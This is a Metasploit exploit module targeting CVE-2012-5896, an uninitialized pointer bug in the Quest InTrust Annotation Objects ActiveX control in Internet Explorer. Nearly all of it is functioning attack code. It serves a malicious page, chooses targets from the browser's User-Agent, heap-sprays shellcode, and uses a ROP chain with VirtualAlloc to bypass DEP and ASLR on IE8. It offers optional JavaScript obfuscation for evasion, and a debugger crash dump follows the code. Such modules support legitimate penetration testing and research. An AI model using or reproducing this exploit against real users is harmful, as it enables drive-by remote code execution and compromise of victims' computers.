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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super( update_info(info,
'Name' => 'Quest InTrust Annotation Objects Uninitialized Pointer',
'Description' => %q{
This module exploits an uninitialized variable vulnerability in the
Annotation Objects ActiveX component. The ActiveX component loads into memory without
opting into ALSR so this module exploits the vulnerability against windows Vista and
Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX
points to part of the ROP chain in a heap chunk and the calculated call will hit the
pivot in a separate heap chunk. This will take some time in the users browser.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # initial discovery & poc
'mr_me <steventhomasseeley[at]gmail.com>' # msf module
],
'References' =>
[
[ 'CVE', '2012-5896'],
[ 'OSVDB', '80662'],
[ 'BID', '52765'],
[ 'EDB', '18674']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4]
# calculation: <targetaddress> - 0x44024a50 / 4 = Ret
[ 'Automatic', {} ],
# Windows XP/Vista/IE6/IE7 target
[
'Windows XP/Vista SP0-SP3 (IE6/IE7)',
{
'Ret' => 0x76767676,
}
],
# Windows XP/IE8 target - ASLR/DEP Bypass
[
'Windows XP SP0-SP3 DEP bypass (IE8)',
{
'Ret' => 0x31AAAD78,
}
],
# Windows 7/Vista/IE8 target - ASLR/DEP Bypass
[
'Windows 7/Vista ALSR/DEP bypass (IE8)',
{
'Ret' => 0x31AAAD78,
}
]
],
'DisclosureDate' => 'Mar 28 2012',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
])
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def nops(s)
nops = make_nops(4).unpack("N*") * s
return nops
end
def on_request_uri(cli, request)
#Set target manually or automatically
my_target = target
if my_target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ # xp/ie6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ # xp/ie7
my_target = targets[1]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ # vista/ie7
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ # xp/ie8
my_target = targets[2]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/ # vista/ie8
my_target = targets[2]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ # win7/ie8
my_target = targets[3]
end
end
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# shellcode
sc = Rex::Text.to_unescape(p.encoded)
# Randomize object name
obj_name = rand_text_alpha(rand(100) + 1)
main_sym = 'main' #main function name
randnop = rand_text_alpha(rand(100) + 1)
js_nops = Rex::Text.to_unescape("\x0c"*4)
if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
js = <<-EOS
function heapspray(){
shellcode = unescape('#{sc}');
#{randnop} = "#{js_nops};
bigblock = unescape(#{randnop});
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace){ bigblock+=bigblock; }
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000){ block = block+block+fillblock; }
memory = new Array();
for (i=0;i<1000;i++){ memory[i] = block+shellcode; }
}
function main(){
heapspray();
#{obj_name}.Add(#{my_target.ret},1);
}
EOS
end
if my_target.name =~ /IE8/
# all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase)
rop_gadgets = [
junk,
junk,
junk,
0x44014075 # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot)
].pack('V*')
rop_gadgets << [0x44015CEF].pack('V*') * 140 # padding of retn's
rop_gadgets << [
0x44015CEF, # retn
0x44015CEF, # retn
0x44015CEF, # retn
0x44015cee, # pop edx ; retn
0x4401a130, # ptr to &VirtualAlloc() (IAT)
0x44015ca4, # mov eax,[edx+4] ; retn
0x44001218, # push eax ; dec eax ; pop esi ; pop ebp ; retn 14
junk, # filler (compensate)
0x440159bb, # pop ebp ; retn
junk, # filler (retn offset compensation)
junk, # filler (retn offset compensation)
junk, # filler (retn offset compensation)
junk, # filler (retn offset compensation)
0x4400238A, # filler (pop edi ; pop esi ; pop ebp ; retn)
0x440012c1, # push esp ; ret 08
0x44016264, # pop ebx ; retn
0x00004000, # 0x00000001-> ebx
0x44015cc9, # pop edx ; retn
0x00001000, # 0x00001000-> edx
0x44017664, # pop ecx ; retn
0x00000040, # 0x00000040-> ecx
0x44017bd8, # pop edi ; retn
0x44017ebe, # retn
0x4400bf25, # pop eax ; retn
0x0C0C2478, # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn
0x44005C57, # pushad ; push 8 ; push ecx; push esi; call [eax+c]
0x90909090, # nops, do not change as it changes the offset
nops(11)
].flatten.pack('V*')
rop = Rex::Text.to_unescape(rop_gadgets)
js = <<-EOF
function heapspray(){
var payload = unescape('#{rop}');
payload += unescape('#{sc}');
var data = payload;
while(data.length < 100000) { data += data; }
var onemeg = data.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += data.substr(0, 64*1024/2);
}
onemeg += data.substr(0, (64*1024/2)-(38/2));
var block = new Array();
for (i=0; i<700; i++) {
block[i] = onemeg.substr(0, onemeg.length);
}
}
function main(){
heapspray();
#{obj_name}.Add(#{my_target.ret},1);
}
EOF
#JS obfuscation on demand only for IE8
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
main_sym = js.sym('main')
end
end
content = <<-EOF
<object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object>
<script language='JavaScript' defer>
#{js}
</script>
<body onload="#{main_sym}();">
<body>
</html>
EOF
print_status("Sending #{self.name}")
#Remove the extra tabs from content
content = content.gsub(/^ {4}/, '')
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
=begin
eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001
eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ANNOTA_1+0xae62:
4400ae62 ff1485504a0244 call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=????????
=end